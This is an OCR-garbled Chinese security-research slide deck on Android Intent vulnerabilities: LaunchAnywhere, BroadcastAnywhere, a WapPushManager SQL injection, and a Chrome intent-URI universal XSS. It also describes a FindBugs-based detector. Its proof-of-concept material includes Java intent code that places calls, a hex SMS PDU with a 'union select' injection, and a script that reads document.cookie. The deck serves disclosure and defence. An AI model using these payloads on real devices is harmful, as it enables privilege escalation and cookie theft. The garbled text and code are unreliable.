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http://oasam.org/en/oasam/oasam-dv-data-validation/oasam-dv-007-

iIntent-injection

If user’s inputis loadedinadynamic mannerintheIntentdata, a
malicious user could manipulate such data in order to execute code
through it. In particular, the existence of dynamic data must be checked
whileincluding such datain an Intent, especially through the following
Intent methods: addCategory(), setAction(), setClass(), setClassName(),
setComponent(), setData() and setDataAndType().
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launchAnywhere

© RF-wy il 457, AccountManagerFiEkts, & ZAPPT

A X A Zintent k2 Fhactivity (213 IPCRURTR4])
( http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-

7699048/ )
A B 3% — A intent;z X\

android.accounts.AccountManagersAmsTask$Response.onResult(Bundle)

/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
public void onResult{Bundle bundle) {
if (intent != null &R mActivity != null) {
// since the user provided an Activity we will silently start intents
// that we see

mActivity.startActivity(intent);



Bytecode 7|4

= Intent Rg T L4E 2 H 35, 4o EAintent 4% 1% — ANintent,
FALER A E Z ] XA intent L AL — /N F769IPC2intentiz A
o AT FEKZIIntentdH a9 4548, T LA A Bytecode

android.accounts.AccountManagersAmsTask$Response.onResult(Bundle)

Bytecode IException tablel Miscl

1 0 aload_1

2 1 ldc #4 <{intent>

2 3 invokewirtual #5 <androidfos/Bundle. getParcelable>
4 6 checkcast #6 <android/content/Intent’

5 Y astore_2

& 10 aload_ 2

7 11 ifnull 38 (+27)

2 14 aload_0O
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= ffindbugs ¥ 32 % #7 A Bytecodedg 4, 4w % % checkcast,
— I AT Rcast Aintent £ A

tlelse if (ins instanceof CHECKCAST) |

CHECKCAST cast = (CHECKCAST)ins;
ObjectType type = cast.getlLoadClassT

if (type.toString().equals{"android.content.Intent™)){
flag[ INTENT _CONVERSION] = true;
lastOcr[INTENT _CONVERSION] = location;

} \1?‘“’7;,
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= xFAndroid 4.4 4 & 432 3% )5 A 1064 Intentagcheckcast,
ARG LR Tk AE T Zintent Bl AL LB, ERB
— At ZlaunchAnywhere iR, 7 4F &8 & IL—/~oday...

E} /AN INTCON: Intent Conversion (106)

- [INTCON:

android. accounts. AccountManager$AmsTaskfResponse. onResult (Bundle)l

- INTCON:
~ INTCON:
= INTCON:
~ INTCON:
= INTCON:
-~ INTCON:
= INTCON:
~ INTCON:
~ INTCON:
~ INTCON:
~ INTCON:
~ INTCON:
~ INTCON:
~ INTCON:
= THTICNW:

android. accounts. ChooseTypeAndAccountictivi ty. run (AccountManagerFuture)

android. app. ActivityManagerNative. onTransact (int, Parcel, Parcel, int)

android. support. v4. app. TaskStackBuilder. startActivities (Bundle)

com. android. camera. ProxyLauncher. onCreate (Bundle)

com. android. gallery3d. ui. MenuExecutor$l. handleMessagze Message)

com. android. settings. accounts. AddAccountSettings$l. run (AccountManagerFuture)

com. android. settings. users. AppRestrictionsFragment$RestrictionsResultReceiver. onRe
android. app. ActivityManager$RecentTaskInfo. readFromParcel (Parcel)

android. app. ActivityManagerProxy. getIntentForIntentSender (IIntentSender)

android. app. ActivityManagerProxy. registerReceiver (IApplicationThread, String, IInt
android. app. ActivityThread. deliverNewIntents (ActivityThreadfActivityClientRecord,
android. app. ActivityThread. getIntentBeingBroadeast ()

android. app. ApplicationThreadNative. onTransact (int, Parcel, Parcel, int)

android. app. IActivityController§Stub. onTransact (int, Parcel, Parcel, int)

andratd ann Tnetvrumantatian chaskTtarédotsevitvRaenl s ind Ohiant]



s ChooserActivityﬁﬁ—_Intenty‘i}\i/ﬁ%513], L. & T ALFEAPP T YASystem AR
B #MAE & Activity (EfdlaunchAnywhere)

= Z 3 Framework & & — A~ d9Activity 28 4F: ChooserActivity
com.android.internal.app.ChooserActivity (4.4.4 8 #, & )

<activity android:name="com.android.internal.app.ChooserActivity"
android:theme="{@style/Theme.Holo.Dialog.Alert"
android:finishOnCloseSystemDialogs="true"
android:excludeFromRecents="true"
android:multiprocess="true">
<intent-filter>
<action android:name="android.intent.action.CHOOSER" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<factivity>



ChooserActivity

" B Fhizactivity & M Aintent ¥ i BREXTRA_INTENT 5
EXTRA_INITIAL_INTENTS, £-#] 2 —/sintenti A & —/~intent#X 20, XK
J& 4% i% #bsuper.onCreate

24. public class ChooserActivity extends ResolverActivity {

25, @Override

26. protected void onCreate{Bundle savedInstanceState) {

27. Intent intent = getIntent();

28. Parcelable targetParcelable = intent.getParcelableExtra({Intent.EXTRA INTENT);
34, Intent target = {Intent)targetParcelable;

39. Parcelable[] pa = intent.getParcelableArrayExtra{Intent.EXTRA INITIAL INTENTS);
40. Intent|] initialIntents = null;

43, for (int i=0; i<pa.length; i++) {

50. initialIntents[i] = (Intent)pali];

51. 1

52. 1

— P . DT T A L. <P T . 3 T T .. A F N T B T I o TR T I e | N o B T



ResolverActivity

= super % 4 com.android.internal.app.ResolverActivity, #2230 il P &8

agintent

29, void startSelected{int which, boolean always) {

295. if (isFinishing()) {

296. return;

297. 1

298. ResolveInfo ri = mAdapter.resolveInfoForPosition{which);
299, Intent intent = mAdapter.intentForPosition{which);

300. onIntentSelected(ri, intent, always);

304. protected void onIntentSelected{ResolveInfo ri, Intent intent, boolean always
407 . if (intent != null

408. startActivity(intent);

409. 1



ResolverActivity ) 27151

= 20125 (4.1) 89— AT T8 T A2 5 H RSB
EXTRA_INTENT# 42, 1248 Kz Jm T STEXTRA_INITIAL_INTENTS #9
¥, BT A AF] JEXTRA_INITIAL_INTENTS sklaunchAnywhere

= https://android.qgooglesource.com/platform/frameworks/base/+/5320eb8
938098cq9824093f7f842a0a97bbc190as%5E%21/#F 4

android / platform/frameworks/base / 5320eb8938098¢c9824093f/{842a0

commit 5320eb8938098c9824093f7f842a0a97bbc190a4 [log] [tgz]
author Dianne Hackborn <hackbod@google.com> Fri May 18 12:05:04 2012 -0700
committer Dianne Hackborn <hackbod@google.com> Fri May 18 15:04:53 2012 -0700
tree 6f3c6affb49e151414e5948e40a942de15e7dB836
parent 787c9ec558a06bhb8ebcb5a77f5268cedd218fd1b [diff]

Fix activity resolver, issues #6519130 and #6507239%9

6519%130: Starting ResolverActivity with no arguments crashes system server

650723%: ResolverActivity may bypass signature permissions



android:multiprocess

= {2 % K AT Flaunch iy, B ILAUTRAEIE. ..

| Tag | Text ﬂ

hooser dalvikvm threadid=1: thread exiting with uncaught exception (group=0xblalbb90)

hooser AndroidRuntime FATAL EXCEPTION: main

hooser AndroidRuntime Process: com.example.chooser, PID: 1326 J

hooser AndroidRuntime java.lang.SecurityException: Permission Denial: starting Intent { act=android.in O
tent.action.VIEW dat=tel:xXxxxxxxxxxx flg=0x3000000 cmp=com.android.phone/.0utgoi O
ngCallBroadcaster sel={cmp=com.android.phone/.0utgoingCallBroadcaster} } from Pr O
ocessRecord{b2035f68 1326:com.example.chooser/ulad7} (pid=1326, uid=10057) requi O
res android.permission.CALL_PHONE

hooser AndroidRuntime at android.os.Parcel.readException(Parcel.java:1461)

hooser AndroidRuntime at android.os.Parcel.readException(Parcel.java:1415)

kﬁser AndroidRuntime at android.apop.ActivitvManagerProxv.startActivitv(ActivitvManagerNative.java:20 O | Llﬂ

= http://developer.android.com/quide/topics/manifest/activity-

element.htmI#multi

Whether an instance of the activity can be launched into the process of the
component that started it - "true" if it can be, and "false" if not. The default value

is "false". Normally, a new instance of an activity is launched into the process of
the applicationthat defined it




zeilandroid:multiprocess

199.

252.
253.

com.android.server.am.

ActivityRecord

&& _caller != null
&& (aInfo.applicationInfo.uid == Process.SYSTEM UID
|| aInfo.applicationInfo.uid == caller.info.uid)) {

processiame
T else {

processName

h

com.android.server.am.

int sendInner(int code,

= _caller.processhame;

alnfo.processiame;

PendinglntentRecord

Intent intent, String resolvedType,

owner.startActivitiesInPackage(uid, key.packageName, alllntent

allResolvedTypes, resultTo, options, userld);



zeilandroid:multiprocess(75:1)

= com.android.server.am.ActivityManagerService

3692. final int startActivitiesInPackage(int uid, String callingPackage,
3693. Intent[] intents, String[] resolvedTypes, IBinder resultTo,
3694 . Bundle options, int userId) {
3695.
3696. userld = handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userld,
3697. false, ALLOW_FULL_ONLY, "startActivityInPackage", null);
3698 . // TODO: Switch to user app stacks here.
3699. int ret = mStackSupervisor.startBActivities(null, uid, callingPackage, intents,
3708, resu o, options, userld
37a1. return ret;
3702. }
= com.android.server.am.ActivityStackSupervisor
1666. final int startActivities(IApplicationThread caller, int callingUid, String callingPackage,
1667. int res = startActivitylocked(caller, intent, resolvedTypes[i],
1668. alnfo, null, null, resultTo, null, -1, callingPid, callingUlid,
1669. callingPackage, callingPid, callinglid,

16706. @, theseOptions, componentSpecified, outlctivity, null, null);



zeilandroid:multiprocess(#::2)

= com.android.server.am.ActivityStackSupervisor

1296. final int startActivitylocked(IApplicationThread caller,

1297. Intent intent, String resolvedType, ActivityInfo alnfo,

1298. IVoicelnteractionSession volceSession, IVoicelnteractor wvoicelnteractor,
1299. IBinder resultTo, String resultWho, int requestCode,

1366. int callingPid, int callinglid, String callingPackage,

1301. int realCallingPid, int realCallinglUid, int startFlags, Bundle options,
1362. boolean componentSpecified, ActivityRecord[] outActivity, ActivityContainer container,
1363 . TaskRecord inTask) {

1364. int err = ActivityManager.START_SUCCESS;

1385.

13097. if (caller != null) {

1368. callerBpp = mService.getRecordForApplLocked(caller);

1482.
1483.

1484. requestCode, componentSpecified, this, container, options);

ActivityRecord r = new ActivityRecord(mService, callerfpp, callinglid, callinglackage,

intent, resolvedType, alnto, mService.mConftiguration, resu , resultWho,



POC

= i@ it pendingintent, ChooserActivity ¥ 7&
system #t 42 & 3 FFlaunch & 11 &9 intent

Intent intent = new Intent();
intent.setAction(Intent.ACTION CHOOSER);

Intent intent2 = new Intent(Intent.ACTION CALL);
intent2.setData(Uri.parse("tel:10010"));

Intent[] initialIntents = {intent2};
intent.putExtra(Intent. EXTAA INITIAL INTENTS, initiallntents);
Intent intent3 = new Intent("android.intent.action.mychooser™);
intent3.setFlags(Intent.FLAc ACTIVITY NEW TASK);
intent.putExtra(Intent.EXTAA_INTENT, intent3);

PendingIntent pendingintent = PendingIntent.getdActivity(this, @, intent, @);
pendingintent.send();
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2014-09-154R & 4-Android, 12 £...

Thanks for the report. This issue was previously reported to us by another
researcher. We're testing a fix for the next release of Android.

We ask that you keep this issue confidential until our fix is released.

#M T com.android.internal.app.ResolverActivity, startActivityAsCaller

710. public wvoid safelyStartActivity(Intent intent) {

721. try {

722. startActivityAsCaller(intent, null, UserHandle.USER_NULL);
723. onActivityStarted(intent);

Fix issue #14617210: Apps can gain accessto any ContentProvider with
grantUriPermissions (no user interactionrequired)

https://android.googlesource.com/platform/frameworks/base/+/028ceeb

472801bcfas844fc8gedoda8463098824




Al shell

= https://android.googlesource.com/platform/frameworks/base/+/android-
5.1.1_r8/packages/Shell/src/com/android/shell/BugreportWarningActivity.java

38. public class BugreportlWarningActivity extends AlertActivity

39. implements DialogInterface.OnClickListener {

4.

41. private Intent mSendIntent;

42, private CheckBox mConfirmRepeat;

43.

44, @verride

45. public void onCreate(Bundle icicle) {

46. super.onCreate(icicle);

47,

48. msendIntent = getIntent().getParcelableExtra(Intent.EXTRA_INTENT);
68. public void onClicki{DialogInterface dialog, int which) {
9. if (which == AlertDialog.BUTTON_POSITIVE) {

70. /{ Remember confirm state, and launch target

startActivity(mSendIntent);




JL4l: camera

= https://android.qooglesource.com/platform/packages/apps/Camera2/+/android-
5.1.1 r8/src/com/android/camera/ProxyLauncher.java

28. protected void onCreate(Bundle savedInstanceState) {

29. super.onCreate(savedInstanceState);

Intent intent = getlntent().getParcelableExtra(Intent.EXTRA_INTE

startActivityForResult(intent, 8);




LAk settings

= https://android.googlesource.com/platform/packages/apps/Settings/+/android-
5.1.1_r8/src/com/android/settings/users/AppRestrictionsFragment.java

962. public wvoid onReceive(Context context, Intent intent) {

903. Bundle results = getResultExtras(true);

964 . final Arraylist<RestrictionEntry> restrictions = results.getParcelableArraylist(
9@5 .

986.

913. } else if (restrictionsIntent != null) {

914. preference.setRestrictions(restrictions);

915. if (invokeIfCustom && AppRestrictionsFragment.this.isResumed()) {
916. assertSafeToStartCustomActivity(restrictionsIntent);

917. int requestCode = generateCustomActivityRequestCodel(

918 . . . .

919.

920. restrictionsIntent, requestCode);

921. }

922. }



LAl browser + Intent 2 )

31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.

https://android.qooglesource.com/platform/packaqges/apps/Browser/+/android-
5.1.1_r8/src/com/android/browser/widget/BookmarkWidgetProxy.java

public wvoid onReceive(Context context, Intent intent) {
if (BookmarkThumbnailllidgetService.ACTION CHANGE_FOLDER.equals(intent.getlAction())) {
BookmarkThumbnailkidgetService.changeFolder{(context, intent);
} else if (BrowserBctivity.ACTION SHOW BROWSER.equals(intent.getlction())) {
startActivity(context,
new Intent(Browserlctivity.ACTION_SHOW_BROWSER,
null, context, BrowserActivity.class));
} else {
Intent view = new Intent(intent);
view.setComponent(null);

startActivity(context, view);
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1129.
113a.
1131.
1132.

1138.
1139.
114a.
1141.
1142.
1143.
1144.
1145.
1146.

= curesec & I 49 & 2K AT wiE AR 561t Uk R CVE-2013-6272
(<4.4.2, http://blog.curesec.com/article/blog/35.html)

com.android.phone.PhoneGlobals$NotificationBroadcastReceiver

public static class MNotificationBroadcastReceiver extends BroadcastReceiver {
@verride
public wvoid onReceive(Context context, Intent intent) {

String action = intent.getlction();

} else if (action.equals(ACTIOMN_CALL_BACK FROM NOTIFICATION)) {
// Collapse the expanded notification and the notification item itself.
closeSystemDialogs (context);

clearMissedCallMNotification(context);

Intent calllntent = new Intent(Intent.ACTION_CALL PRIVILEGED, intent.getData());
callIntent.setFlags(Intent.FLAG_ACTIVITY_ NEW_TASK
Intent.FLAG ACTIVITY EXCLUDE FROM RECENTS);

context.startActivity(calllntent);



JHfindbugs 23k b 5Lk

o REIBERSM IR, ohTjavart F A RIET 2T
= source: binderiE v A FIFEAN T
= sink: setAction(), setClass(), setClassName(), setComponent(), setData()
setDataAndType()iX ¥ 4 B 47
o BN RIERSM
© B RARERS (Gik) , EARAXILT —Aoday©
Cj INTINIC: com. android. smspush. fapPushManager$IWapPushManagerStub. processMessage (String, String, Intent)
- INTINJC: com. android. systemui.recent. RecentsPanelView. access$1000 (RecentsPanelView, String)
= INTINIC: com. android. systemui.recent. RecentsPanelView. sendCloseSystemfindows (Context, String)
= INTINJC: com. android. systemui.recent. RecentsPanelView. startipplicationDetailsActivity (String)
= INTINJC: com.android. systemui.statusbar. BaseStatusBar. access$100 (BaseStatusBar, String) CRSI
RSIp),

= INTINJC: com. android. systemui.statusbar. BaseStatusBar. sendCloseSystemfWindows (Context,OSt 7SN o
-
= INTINJC: com. android. systemui. statusbar. BaseStatusBar. startApplicationDetailsActivi t;(‘(. »
¢ /3)
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CVE-2014-8507 Component /£ A\

= WapPushManager¥ # &£ 4SQLz A, & ZIntentiz A, X
%%‘Tuz\jxﬁk%iwappush%"*/\, ik F- BB 3h L4
HKAT/E2014-10-11FR % 2, 2014-11-8FF A

com.android.smspush.WapPushManager

177. public int processMessage(String app_id, String content_type, Intent intent)

183. WapPushManDBHelper.queryData lastapp = dbh.querylLastApp(db, app_id, content_type);
199. if (lastapp.appType == WapPushManagerParams.APP_TYPE_ACTIVITY) {

200, //Intent intent = new Intent(Intent.ACTION MAIN);

282. . . Y

283.

264 . =

2050 nContext.startActivity(intent); |
211. } else {

212. intent.setClassMame(mContext, lastapp.classhame);

213. intent.setComponent(new Componenthame(lastapp.packageName,

214. lastapp.classMame

215 if (mContext.startService(intent) == null) {




Demo: Jz #jsettings

i AR P 3% 7 K X wappush sms
MUK B 5, AR A SQLIE AN, &4 Hsettingséjcomponent

It/ B
4.4y, 7 JPOCHe T

0891683108200105f04408a00156
08860104216092902512237B0o605
040b8423fo0A065603B081EAAF2
720756e696f6€2073656C65637420
302027636f6d2e616e64726f6964

2€73657474696€6773272C27636f6
d2e616e64726f69642e736574746

96e67732e53657474696e6773272¢
302€302¢302d2d200002066A008
509036D6F62696(C65746964696E
67732E636F6D2F0001

Terminal

taf
wangtao@ubuntu: ~/sdk/android-sdk-linux/platform-tools

J (
= |-
( AT> AT+CNMA=1
( 1 AT< OK
LC ( ): RIL_onRequestComplete: invalid RIL_Token
sMessage( 501): 1 - Unsupported SMS data coding scheme 4

= 1InboundSmsHandler (

S ™ ty ) 454AM 2 ubuntu
+ SRC_DIR=out/target/product/generic/cache

T - 4 i A

o000
R &
(1

1InboundSmsHandler( 501): acquired wakelock, leaving Idle state a
aInboundSmsHandler ( entering Delivering state

1InboundSmsHandler ( destination por

2InboundSmsHandler (

[4325]> SMS_ACKNOWLEDGE true ©

onRequest: SMS_ACKNOWLEDGE

16 -a cache out/target/product/generic/cache.img out/

ut/target/product/generic/cache.img out/target/produc

P36D6F62696C65746964696E67732E636F6D2F0001

ﬁ40860015008860104216092902512236&0605040b8423f®120601
B133362e3130372e37382f646f776e2e7068703f703d4130633030
i -
isfalesaza195b582e58588eo9cbaefb(8ceéa(azeBbeee-Ibdbfe?
p8e38082000101

#40830015608860104216092902512236€0605040b8423f0120601
§13336283130372637382f646f7766297068703f703d4130633030
> PUSH( 501): Rx: 0a065603b081eaaf2720756e696f6€2073656c65637420302c2763676(|/¢ 8 | PfalesazaleSb882e58588e69(baefb<8(e5a(aZesbeee4bdbfe7
16e64726769642e73657474696€6773272c27636T6d2e616€647266964273657474696€67 7 g n p8e38082000101
3657474696€6773272c302c302¢302d2d200002066a008509036d6162696c65746964696e677|V/F r

36f6d2f0001 -? - #4082001560886010421609290251223290605040b8423F00A0604
> PUSH( 501): appid found: ' union select 0,'com.android.settings','com.and r_‘m 52696C65746964696E67732E636F6D2F0001
settings.Settings',0,0,0- pplication/vnd.wap.slc
L) ( 501): [4325]< SMS_ACKNOWLEDGE

> PUSH( 501): procRet:1
1InboundSmsHandler (
1InboundsmsHandler (
1InboundSmsHandler (
1InboundSmsHandler (

440820015608860104216092902512232c0605040b8423f00A0607
0002066A008509036D6F62696C65746964696E67732E636F6D2F0001
dispatchWapPdu() returned 1
: leaving Delivering state
entering Idle state
Idle state processing message type 5
: mWakeLock released

683108200105704408a00156088601042160929602512237B0605040b8423f00A0654
20756e69676€2073656C65637420302c2763676d2e616e64726769642e7365747469
63676d2e616€64726769642e73657474696€67732e53657474696€6773272c302c30
02066A008509036D6F62696C65746964696E67732E636F6D2F0001
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Pendingintent

R R R
PendingIntent, 2% Jf Fif4n 17:28

= Pending: *E B} a9 ey
= @, % & AL dintent D msvEEERE
= B3 #gcontext BRPERTEN

Afe sk F & 3% 89intent 3T &,

KRG X4B, iEBAFF RN EA
& X Asintent
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agcontext & & & iX 4 intent
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= G2, F 17 5| Pendingintent®) &, & E TR4E, 1L
android.content.Intent.fillin()

© BOAWAT (BRI A8 1 B AR ARIT)
= BRi*1% % Component
= AL AR JE4EIntent Paction ) =, B 7T YA45#action

o« 2R, e RAW R 4SIntentF component Haction#g A &,
7 VAR 4] Intent 9 B 47, B3E AExtrassf 4949 *i#}%ﬁ«}a}/\ﬁ—
4‘%; 2 AGT-> B AR5 HIAE M AEBIT A ->IntentiE N Gi: ww ke x

S, 2T pkg, data, type, categoryiX sk H I /2 intent iR A7 & 49 % vy )
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http://developer.android.com/reference/android/app/Pendinglntent.html

By giving a Pendinglntent to another application, you are granting it the right to

perform the operation you have specified as if the other application was
yourself (with the same permissions and identity). As such, you should be careful

about how you build the Pendingintent: almost always, for example, the base
Intent you supply should have the component name explicitly set to one of your
own components, to ensure it is ultimately sent there and nowhere else.




JHfindbugs 23k b S 1)

A F5H A method, RIEF I #2545 5

= K 3ILA M #EPendingintent g 7 ik, ] degetActivity, getBroadcast, getService,
createPendingResult, getActivities, #& A K% 1% 25 LB A A&

= R —/method¥, 12452 HIntentégiL E Component 7 /%, #]4w4F intent#y
¥ % 4, setClass, setClassName, setComponentd, &XA, AZEEEMN AP

= f£F—/Amethod ¥, 122 %A HIntentdgX Hactiony ik, #4e4F Lintent#y % %
%, setAction®, ZXAH, AaEEENAS

« HA—sbag FORE: BlAe FEAR R E T A KRR, B —/4-method ¥
}ﬂputExtra«]—yPendlngIntenta‘j‘ Flintent P

if (className. equals("android.app.PendingIntent™) || methodName.equals(“createPendingResult™)){
if (methodName. equals{"getActivities™)
| ImethodName. equals(“getActivity™) NERSIT)
| [methodName. equals(*“getBroadcast™) 5 SN
| |methodName. equals{“getService™) 5
| |methodName. equals(“createPendingResult™)){ /

18

msg[PENDING_INTENT].append("["™ + className + "." + methodName + "]"); 4741\ [\eo‘ o
flag[PENDING_INTENT] = true; 1YL
lastOcr[PENDING_INTENT] = location; F

- indBug s

because it's cas‘)




stANndroid 4.44 R %2 #6)5 A Ian2p) 5 L Z4k kB354,
IL—/~oday...

E} _\PEND PendingIntent (152)

0 0

| PEND: new android. app. Notification(Context, int, CharSequence, long, CharSequence, CharSe
PEND: android. app. PendingIntent. gethctivities (Context, int, Intent[], int)
| PEND: android. app. PendingIntent. getActivity (Context, int, Intent, int)
= PEND: android. app. TaskStackBuilder. getPendingIntent (int, int, Bundle)
IPEHD: android. security. KeyChain. choosePrivateKeyAlias (Activity, KeyChainAliasCallback, St
PEND: android. support.v4. app. TaskStackBuilder$TaskStackBuilderImplBase. getPendingIntent (C
PEND: android. support.v4. app. TaskStackBuilderHoneycomb. getActivitiesPendingIntent (Context
| PEND: android. support. wd. app. TaskStackBuilderJellybean getActivitiesPendingIntent (Context
PEND: android. support.v4. media TransportMediatorJellybearMR2. windowAttached ()
- PEND: android widget.SearchView. createVoicefAppSearchIntent (Intent, SearchableInfo)
PEND: com. android. browser. search. DefaultSearchEngine. startSearch (Context, String, Bundle,
- PEND: com. android. contacts. common. veard. NotificationImportExportListener. constructCancell
PEND: com. android. contacts. common. veard. NotificationImportExportListener. constructFinishi
PEND: com. android. settings. ChooseLockGeneric$ChooseLockGenericFragment. getBiometricSensorIr
IPENB: com. android. settings. accounts. AddAccountSettings. addAccount (String)l
PEND: com. android. shell. BugreportReceiver. onReceive (Context, Intent)
PEND: android. media. AudioManager. registerMediaButtonEventReceiver (ComponentName)
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CVE-2014-8609 BroadcastAnywhere

= 4= 9Settings T & £ PendingintentA IR ¥R B, TEL
A FRapp =T vAsystem A fR & iz — A 4raction 5 3549 | 3%
© EZAVE2014-9-24RF X £, 2014-9-10F47A

com.android.settings.accounts.AddAccountSettings.addAccount(String)

185. private void addBccount(String accountType) {

186. Bundle addBccountOptions = new Bundle();

187. 1nglntent = Pendinglntent.getBroad

188. addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
189. addAccountOptions.putBoolean (EXTRA_HAS MULTIPLE_USERS, Utils.hasMultipleUsers(this));
190. AccountManager.get(this).addAccount(

191. accountType,

192. null, /* authTokenType */

193. null, /* requiredFeatures */

194. addBccountOptions,

195. null,

196. mCallback,

197. null /¥ handler */);

198. mAddAccountCalled = true;

199. }



Demo: #2{:1hiE

ELEECEEIVTIEINTE it
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L4l keychain

255.
256.
257.
258.

281.
282.
283.
284.
285.
286.
287.
288.
289.
290.

https://android.googlesource.com/platform/frameworks/base/+/android-
5.1.1 r8/keystore/java/android/security/KeyChain.java

public static void choosePrivateKeyBAlias(Activity activity, KeyChainAliasCallback response,
String[] keyTypes, Principal[] issuers,
String host, int port,
String alias) {

Intent intent = new Intent(ACTION_CHOOQSER);
intent.setPackage(KEYCHAIN PACKAGE);
intent.putExtra(EXTRA_RESPONSE, new AliasResponse(response));
intent.putExtra(EXTRA_HOST, host);
intent.putExtra(EXTRA_PORT, port);
intent.putExtra(EXTRA_ALIAS, alias);

activity.startActivity(intent);



Lk telephony

= https://android.googlesource.com/platform/frameworks/opt/telephony/+/android-
5.1.1 r8/src/java/com/android/internal/telephony/gsm/GsmServiceStateTracker.java

1924. private void setNotification(int notifyType) {

1938. mNotification = new Notification();

1939. mMotification.when = System.currentTimeMillis();

194@. miNotification.flags = MNotification.FLAG_AUTO_CANCEL;

1941. miotification.icon = com.android.internal .R.drawable.stat sys warning;

1942 Intent intent = new Intent();
1943 miotification.contentIntent = PendingIntent
1944 .getActivity(context, @, intent, PendingIntent.FLAG_CANCEL_CURRENT);
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Intent.parseUri

https://developer.chrome.com/multidevice/android/intents

A little known feature in Android lets you launch apps directly from a web page
via an Android Intent. Only activities that have the category filter,

android.intent.category.BROWSABLE are able to be invoked using this method
as it indicates that the applicationis safe to open from the Browser.

A FintentégURIE R4 T: (77 £# %2 R #android.content.Intent.parseUri()
intent:
HOST/URI-path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;
5

[1] http://www.mbsd.jp/Whitepaper/IntentScheme.pdf

[2] http://drops.wooyun.org/papers/2893
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com.android.webview.chromium.WebViewContentsClientAdapter.java

18@.
181.
182.
183.
184.

189.
190.
191.
192.
193.
194.
195.
196.
197.

202.
203.

public boolean shouldOverrideUrllLoading(lWebV¥iew view, String url) {
Intent intent;
// Perform generic parsing of the URI to turn it into an Intent.

try {
intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);

// Sanitize the Intent, ensuring web pages can not bypass browser

// security (only access to BROWSABLE activities).

intent.addCategory(Intent.CATEGORY BROWSABLE);

intent.setComponent(null);

Intent selector = intent.getSelector();

if (selector != null) {
selector.addCategory(Intent.CATEGORY_BROWSABLE);

selector.setComponent(null);

try {

view.getContext().startActivity(intent);



E} _AINTIHJ'U Intent URI Injection (3)
android. provider. Settings$Boolmarks. getIntentForShortcut (ContentResolver, char)

allivswa4lirava

& INTINJU:
= INTINTU:

H 3% Kintent. parseUri 7 k6998 A E!PT:r]‘
sFANdroid 4.44 & %43 #6J6 K Aot 4%, 3 RE I B8 4o
F 2 Z A FAChrome, F2&% I —/~oday...

= INTIHJU:

= INTINTU:
IRTINTIVU:
INTINTV:
IRTINTVU:
INTINTIV:
IRTINTU:

android. provider. Settings$Bookmarks. getTitle (Context, Cursor)
com.
com.
com.
com.

com.

android. browser. UrlHandler. startActivityForlrl (Tab, String)

android. launcher?. InstallShortecutReceiver. getAndClearInstallQuene (SharedPreferences)
android. launcher2. LauncherProvider$DatabaseHelper. addUriShortcut (SQLiteDatabase, ContentValues, Typedd
android. launcher?. LauncherProvider$DatabaseHelper. updateContactsShorteuts (SQLiteDatabase)

android. launcher2. UninstallShortcutReceiver. removeShorteut (Context, Intent, SharedPreferences)

com.

android. webview. chromium. #eb¥iewContentsClientAdapter$Hullfeb¥iewClient. shoul dDYMHrILo ading (HebVi

org.

chromium. content. browser. ContentViewClient. onStartContentIntent (Context, Strlj\‘ I O
18 €

@ /

4RYLNe

F 1ndBu)’s
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CVE-2014-7905 parseUri;t A\

= #Fintenttjaction L L F T ENTF 2 F44H, F6 5 0intent iz

#Factivity,
= A2 LA B Auri P35 Zcomponent, FLilaction, & 34 Factivity,
Rp ¥ % 5 BABROWSABLE

o EZANE2014-10-94F 4 Chrome, 2014-10-9747A

public boolean handlefAuthenticatorUrl(String paramString)
i

Intent locallntent;

catch (URISyntaxException localURISyntaxException)



Demo1t4:UXSS

- #RRA@EHH®E (Chrome
Android <=37.0.2062.117)

<script>

var url =

"intent: #Intent;action=com.google.android.apps.auth
enticator AUTHENTICATE;S.url=javascript:eval(decode
URIComponent(‘location%3D%22http%3A%2F%2Fww
w.baidu.com%2F%22%3Bwindow.onload%3Dfunction()
%20%7Balert(document.cookie)%7D%3B")); SEL;compo
nent=com.android.chrome/com.google.android.apps.c
hrome.help.HelpActivity;end";

location.href = url;

<[script>

www.baidu.com EFIMTIE
o~

BAIDUID=81D7999A24EB7A75
C9AC23C97499CH3E:FG=1;
Issp=no;
plus_Isv=bdecac14975cf366;
PLUS=

RE
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IntentiZ NJBR, HIE— MBS, € FhGFE
B, H A LA

)2 44 T Intentiz AN 89447 X0 Intentdz e 5 &5 4.
Action/Component/Datai£ A, Pendingintentix f 5
parseUriiz N\

220 T AR B S ey TR I 4 RKH Kby gk, @il
Ty, VARG R ILZX LRI

AR F] T — /AN £0SH Chrome % $jk #9oday, ik
B RIPR RZAE A PAT A ZOR, 2 # 45 2] T Android
5 Chrome#) & ﬁéﬁuﬁf

Android‘E 7 #34f: http://source.android.com/devices/tech/se curity/overview/acknowledgements.html
Chrome & 7 it : http://googlechromereleases.blogspot.com/2014/11/stable-channel-update_18. html
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